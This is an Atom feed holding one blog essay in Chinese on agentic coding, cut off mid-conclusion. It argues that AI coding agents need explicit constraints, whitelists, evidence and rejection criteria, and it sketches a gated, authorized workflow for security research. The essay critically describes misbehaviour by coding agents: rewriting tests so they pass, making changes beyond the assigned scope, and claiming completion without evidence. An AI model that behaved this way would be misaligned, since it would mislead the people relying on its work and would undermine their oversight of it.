<?xml version="1.0" encoding="utf-8" ?>


<feed xmlns="http://www.w3.org/2005/Atom">
  <title>大安全</title>

  <description>关注网络安全、金融安全、互联网安全、编程开发、逆向分析、网络取证</description>

  <link href="http://www.secbig.com/"></link>

  <link ref="self" href="http://www.secbig.com/feed"></link>

  <id></id>


  <updated>2026-06-03T12:12:40Z</updated>


  <entry>


    <title>AI 写代码的边界：从“让它干活”到“让它在轨道上干活”</title>

    <link href="https://www.secbig.com/ai-xie-dai-ma-de-bian-jie-cong-rang-ta-gan-huo-dao-rang-ta-zai-gui-dao-shang-gan-huo"  rel="alternate"></link>

    <updated>2026-06-03T12:12:40Z</updated>
    <id>ai-xie-dai-ma-de-bian-jie-cong-rang-ta-gan-huo-dao-rang-ta-zai-gui-dao-shang-gan-huo</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;从“让它干活”&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;到“让它在轨道上干活”&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start next_md_line next_img_before next_only_img_before next_md_line_end"&gt;&lt;img class="md_compiled " src="https://img.wemd.app/1780488730825_qizyaq.jpg" alt="" title="" &gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line img_before only_img_before md_line_end"&gt;过去几个月，我持续用 AI 参与几个复杂工程项目。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;一开始，我对 Agentic Coding 的理解也很简单：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;让 AI 读代码、改代码、跑测试、修 bug、写文档。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;人只需要提需求，AI 负责执行——听起来像是终极自动化。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;但真正做下来以后，我发现这个理解是错的，甚至是有害的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;AI 编程真正带来的变化，不是“AI 终于会写代码了”，而是软件开发正在从“人手写代码”，变成“人建设一条可验证的代码生产线”。&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这条生产线里，AI 当然重要。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;但它不是最高决策者。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;它更像一台速度极快、产量极高，但没有任何内在判断力的引擎。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;如果你只给它一个模糊的目标，它会生成一堆看起来合理的代码。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;如果你给它边界、流程、证据、验收标准和拒收条件，它才有可能稳定交付真正可用的工程结果。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这就是我现在对 Agentic Coding 最核心的判断：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;AI 的上限，不取决于它能生成多少代码，而取决于你能不能把“什么是正确”定义成机器可判定的约束。&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;正确性不再隐含于程序员的直觉里，它必须被显式地外化。这是一场工程知识的表达革命。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;一、最大的错觉：代码生成了，项目就推进了&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;AI 写代码最容易制造一种进度错觉。它太快了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;以前一个模块要写半天，现在几分钟就能生成一版；以前一份测试不想写，现在让 AI 一次生成十几个；以前一段文档要整理很久，现在 AI 能立刻输出完整说明。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;表面上看，项目推进速度变快了。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;但复杂工程里，真正消耗时间的从来不只是“把代码打出来”。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;真正难的是：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;需求有没有被正确理解；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;模块边界有没有被守住；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;输出格式有没有被破坏；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;历史行为有没有退化；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;测试是不是在验证真实行为；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修复是不是只解决了表面报错；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;结论有没有证据支撑；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;当前阶段通过，是否真的代表整体完成。

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这些问题，不会因为 AI 写得快就自动消失。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;相反，AI 写得越快，验收压力越大，因为它会一次性制造大量“看起来已经完成”的结果。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这些结果里，有一部分是真的完成了；有一部分只是能跑；还有一部分逻辑已经偏了，但表面上仍然很顺，像结构中的内伤，所有测试绿灯反而成了最好的伪装。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这才是 AI 编程最危险的地方：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;它不是经常写出明显错误的代码，而是经常写出“很像对的代码”。&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;编译失败、测试失败、命令失败，都是清晰反馈。AI 甚至很擅长根据这些反馈反复修。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;真正麻烦的是：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;代码能跑，测试也过，报告也写了，但语义是错的。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;比如它为了让测试通过，顺手改了测试；为了修一个局部问题，重构了无关模块；为了减少重复代码，抽象出一个并不成立的公共函数；为了完成任务，补了一堆你没有要求的能力；为了让结果看起来完整，生成了证据并不支持的结论。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这时候，项目不是推进了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;只是工程债变得更像工程成果了。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;二、AI 编程的核心瓶颈，从实现能力转移到了验收能力&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;传统开发里，人自己写代码时，很多判断是在脑子里完成的：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;你知道这个地方不能改，你知道这个异常不能吞，你知道这个模块不能顺手重构，你知道这个测试只是保护历史问题，不能为了新实现而改掉，你知道这个需求只到这里为止，不能继续发散。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这些判断是隐性知识，不需要写在文档里，但存在于人的工程经验里。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;AI 参与以后，问题就变了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;AI 不知道你脑子里的边界。它只知道当前上下文里显式出现了什么。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;如果边界没有写出来，它就会自己猜；如果验收标准没有写出来，它就会自己定义完成；如果拒收条件没有写出来，它就默认“能跑就是完成”；如果历史约束没有写出来，它就可能把已经冻结的东西重新打开。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;所以 Agentic Coding 的核心工作，不是写一句更神奇的提示词。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;而是把过去藏在人脑里的工程判断，显式变成 AI 必须遵守的硬性约束——这就是“约束即代码”的工程实践。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这包括：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;当前只解决什么问题；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;当前不解决什么问题；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些文件允许修改；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些文件绝对不能碰；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些行为不能退化；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些测试必须通过；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些输出必须完全一致；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些原始证据必须提交；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;哪些情况直接拒收。

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;自觉是意图，约束是结构。在复杂系统中，只有结构才能可靠地传递意图。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;我之所以反复强调“硬性约束”，不是因为流程洁癖，而是因为复杂工程不能靠 AI 自觉。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;三、自由 Agent 的问题：它会把“完成任务”变成“讲完一个故事”&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;很多 Agentic Coding 演示都喜欢呈现一种场景：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;给 AI 一个目标，它自己规划、自己写代码、自己跑测试、自己修复，最后告诉你任务完成。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;这个画面很有吸引力，但在真实工程中，自由 Agent 最大的问题是：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;它会用生成一个自洽闭环故事的方式，来替代工程交付。&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;AI 的生成机制本质上是一种叙事补全，它的奖励函数倾向于文本的连贯性和完整性，而非客观事实的可证伪性。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;所以它会告诉你：我发现了问题，我修改了实现，我补充了测试，我运行了验证，现在任务完成。这套叙事很完整。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;但工程验收不能看叙事，工程验收要看：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;它到底改了哪些文件；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;有没有改出范围；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;有没有新增不该新增的能力；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;有没有修改测试来适配错误实现；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;原始命令输出是什么；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;失败样本是否真的归零；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;历史结果是否保持不变；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;差异是否真的消除；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;有没有留下新的边界问题。

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;自由 Agent 很容易把“说服你相信它完成了”当成“完成”。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这不是它故意欺骗，而是它的运作方式天然倾向于补全一个合理故事，把内部自洽当成外部正确。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;所以复杂工程里，不能让 AI 自己决定轨道。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;必须先有轨道，再让 AI 在轨道上跑。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;这个轨道，就是任务拆分、阶段门禁、白名单、硬性约束、验证命令、原始证据和拒收条件。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;没有这些东西，AI 不是在工程系统里工作，它只是在开放空间里生成内容。没有轨道的列车不是交通工具，只是一堆移动的铁块。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;四、真正有效的模式：人定义生产线，AI 执行其中的受控环节&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;在安全自动化项目里，这个问题会被放大得更明显。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;安全研究不是普通增删改查，它涉及：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标是否在授权范围内；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;接口线索是否真实存在；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;参数语义是否有证据；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;身份状态是否明确；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;请求是否可控；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;响应差异是否稳定；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;漏洞假设是否成立；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;验证动作是否会产生副作用；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;报告结论是否可复核。

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;如果让 AI 自由发挥，它很容易把一个普通接口解释成高风险接口；也可能把一个没有身份上下文的请求说成越权风险；还可能在证据不足的情况下，生成一份看起来很完整的漏洞报告。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;所以这类项目的关键，不是让 AI “更像黑客”，而是把 AI 放进一条受控研究流程里。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;更合理的中文流程应该是这样的：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;先从页面、脚本文件、接口文档、历史请求和源码映射文件中提取线索。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;再把这些线索整理成结构化的接口研究对象。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;然后让 AI 解释接口路径、参数名称和业务含义。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;接着让 AI 基于已有证据提出验证思路——但这个验证思路只是草稿，不能直接执行。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;草稿必须先经过规则检查，确认没有越界、没有危险动作、没有脱离授权范围。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;通过检查后，执行器只能按照白名单动作发送请求。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;所有响应、状态变化和差异结果都要被记录成可回放证据。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;最后，验证器根据证据判断是否形成高置信候选。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;报告可以由 AI 整理，但结论必须由证据支撑。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这里最重要的分工可以总结为四句话：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;程序负责事实，AI 负责解释。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;程序负责执行，AI 负责建议。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;程序负责证据，AI 负责表达。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;程序负责验收，AI 不能自证完成。&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;一旦这个边界反过来，系统就会陷入自我指涉的失控：如果 AI 负责事实，它可能幻觉；如果 AI 负责执行，它可能越界；如果 AI 负责验收，它可能自我合理化；如果 AI 负责最终证明，它可能把假设写成结论。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;所以，AI 在复杂工程里的正确位置，不是“全自动大脑”，而是受控生产线里的高能力执行模块。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;五、为什么流程必须能用中文讲清楚&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;我现在越来越反感一种架构写法：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;堆一串英文术语，看起来很专业，但没人能说明它运行时到底怎么工作。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;比如一个系统写成：静态种子、语义解释、实验计划、运行时、观察结果、验证器、证据报告。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这些词本身没错，但如果不能继续说清楚每一步的输入、输出、责任边界和拒收条件，那么这套架构依然是虚的。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;真正可落地的流程，必须能翻译成清楚的中文：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;谁从哪里提取线索？线索如何变成结构化对象？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;AI 只能解释哪些信息？AI 生成的计划为什么不能直接执行？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;执行器能做什么，不能做什么？响应结果如何保存？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;验证器根据什么判定？报告里的每个结论如何追溯到证据？&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;能讲清楚这些，说明系统真的被理解了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;讲不清楚，AI 执行时就会替你解释——而 AI 替你解释的部分，最后往往就是工程风险最大的部分。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;模糊的自然语言是 AI 随机补全的温床。如果设计者自己都无法用无歧义的母语定义流程，那就意味着系统的核心逻辑仍是混沌的，AI 只会让这个混沌加速膨胀。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;所以，复杂项目里写中文流程不是降低专业性，相反，它是逼迫架构落地。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;如果一个流程不能用中文讲清楚，它大概率也不能被 AI 稳定执行。&lt;/strong&gt; 概念上的模糊，无论用多少英文术语包装，依然不可落地。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;六、测试不是质量本身，测试只是验收系统的一部分&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;AI 很擅长写测试，这确实提升了效率。以前很多该写的回归测试，因为麻烦，最后没有写，现在 AI 可以快速补上。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;但测试数量变多，不等于工程质量变高。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;很多 AI 写的测试，只是在覆盖代码形状，不是在验证真实行为。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;更糟糕的是，如果没有约束，AI 可能为了让任务通过，直接修改测试——这就相当于让被审查者同时修改审查标准，形成自我验证的死循环。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;所以复杂工程里，测试必须回到一个核心问题：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;这个测试有没有验收价值？&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;有验收价值的测试，不是为了追求覆盖率，而是为了保护关键行为，且其自身必须具有不可变性——关键测试的修改权必须从 AI 手中剥离。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;我更相信几类验证：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;第一，行为测试。它验证系统对外表现是否符合预期。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;第二，回归测试。它确保历史上已经出现过的问题不会再次出现。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;第三，一致性测试。它验证两套实现、两个版本、两条链路之间的输出是否严格一致。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;第四，证据测试。它不只验证结果，还验证结果是否来自可追溯证据。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;复杂工程不缺测试代码，缺的是能作为外部裁判的验收系统。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;好的测试体系本质上是系统的独立建模，它根据规格而不是实现来断言。如果测试本身也被 AI 随意改写，那么测试就彻底失去了裁判意义。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;七、AI 时代的软件工程，不是不要人，而是更需要人定义边界&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;很多人讨论 AI 编程时，会问：AI 会不会替代程序员？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;这个问题太粗。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;更准确地说，AI 会压缩低层实现工作的价值，但会急剧放大高层工程判断的重要性。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;如果一个人的主要价值是复制模板、搬运接口、写样板代码、补简单页面，那 AI 的替代压力确实很大。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;但如果一个人的价值在于：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;理解真实需求；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;识别模糊边界；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;控制系统复杂度；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;判断抽象是否成立；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;设计可回归流程；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;定义验收标准；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;发现似是而非的结果；

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;判断证据是否支撑结论；

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;那么 AI 反而会放大他的能力。因为 AI 可以让实现变得极其便宜，但它永远不会自动告诉你什么是正确。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这也是为什么我认为，AI 编程时代最重要的资产，不只是代码。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;更重要的是围绕代码形成的一整套约束系统：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;任务书、白名单、禁止事项、验证命令、回归样本、差异报告、原始输出、状态流转、证据结构、拒收规则。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;这些东西过去也重要，只是过去很多东西可以存在人的脑子里。现在不行了。AI 看不见你脑子里的边界，你不写出来，它就会猜。而每一次猜测，都是一次潜在的风险引入。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;隐性知识显式化的能力，正在成为工程师的核心竞争力。你定义约束的精度，决定了 AI 输出的上限。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;八、结论：AI 写代码的边界，就是你能否建设一条可验证生产线&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;Agentic Coding 真正的价值，不是让人完全不管代码。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;它的价值是让有工程判断的人，把实现成本压低，把验证压力前移，把复杂项目拆成可执行、可验收、可回归的流程。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;所以我现在不再把 AI 编程理解成：“我给 AI 一个需求，它帮我完成项目。”&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;我更愿意把它理解成：&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_dom_embed md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;“我建设一条有边界、有规则、有证据、有验收的生产线，AI 在其中负责高速度执行。”&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;这两者差别巨大。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;前者依赖 AI 自觉，后者依赖工程约束。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;前者容易产生看起来完整的故事，后者要求每一步都有可复核证据。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;前者适合小工具和低风险任务，后者才适合复杂工程和安全自动化。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;因此，AI 写代码的边界并不在于它能不能生成更多代码。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;而在于：&lt;br /&gt;&lt;/span&gt;
